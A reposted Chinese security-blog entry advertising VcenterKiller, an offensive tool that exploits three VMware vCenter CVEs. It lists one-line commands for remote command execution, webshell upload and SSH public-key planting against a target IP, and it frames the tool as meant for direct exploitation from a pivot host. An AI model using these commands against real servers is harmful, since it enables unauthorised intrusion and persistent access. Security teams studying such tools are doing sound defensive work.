一款针对Vcenter的综合利用工具 VcenterKiller(一键上传webshell)

admin 2023年1月30日21:32:27评论54 views字数 562阅读1分52秒阅读模式

0x01 工具介绍

一款针对Vcenter的综合利用工具,包含目前最主流的CVE-2021-21972、CVE-2021-21985以及CVE-2021-2205,提供一键上传webshell,命令执行或者上传公钥使用SSH连接,一般Vcenter都放在内网,并且漏洞特征也都是烂大街,像什么fscan啦一扫就出来了,那么VcenterKiller就不是用来检测目标是否存在漏洞的,而是直接尝试利用,一般通过CS/MSF在跳板上来执行,所以去掉了其余花里胡哨的输出。


0x02 安装与使用

使用方法

go build -o main.exe
./main.exe -u https://192.168.1.1 -m 21985 -c whoami./main.exe -u https://192.168.1.1 -m 22005 -f test.jsp./main.exe -u https://192.168.1.1 -m 21972 -f test.jsp./main.exe -u https://192.168.1.1 -m 21972 -f id_rsa.pub -t ssh //传公钥


0x03 项目链接下载

1、通过阅读原文,到项目地址下载
如有侵权请联系删除

原文始发于微信公众号(天驿安全):一款针对Vcenter的综合利用工具 -- VcenterKiller(一键上传webshell)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年1月30日21:32:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   一款针对Vcenter的综合利用工具 VcenterKiller(一键上传webshell)https://cn-sec.com/archives/1348016.html

发表评论

匿名网友 填写信息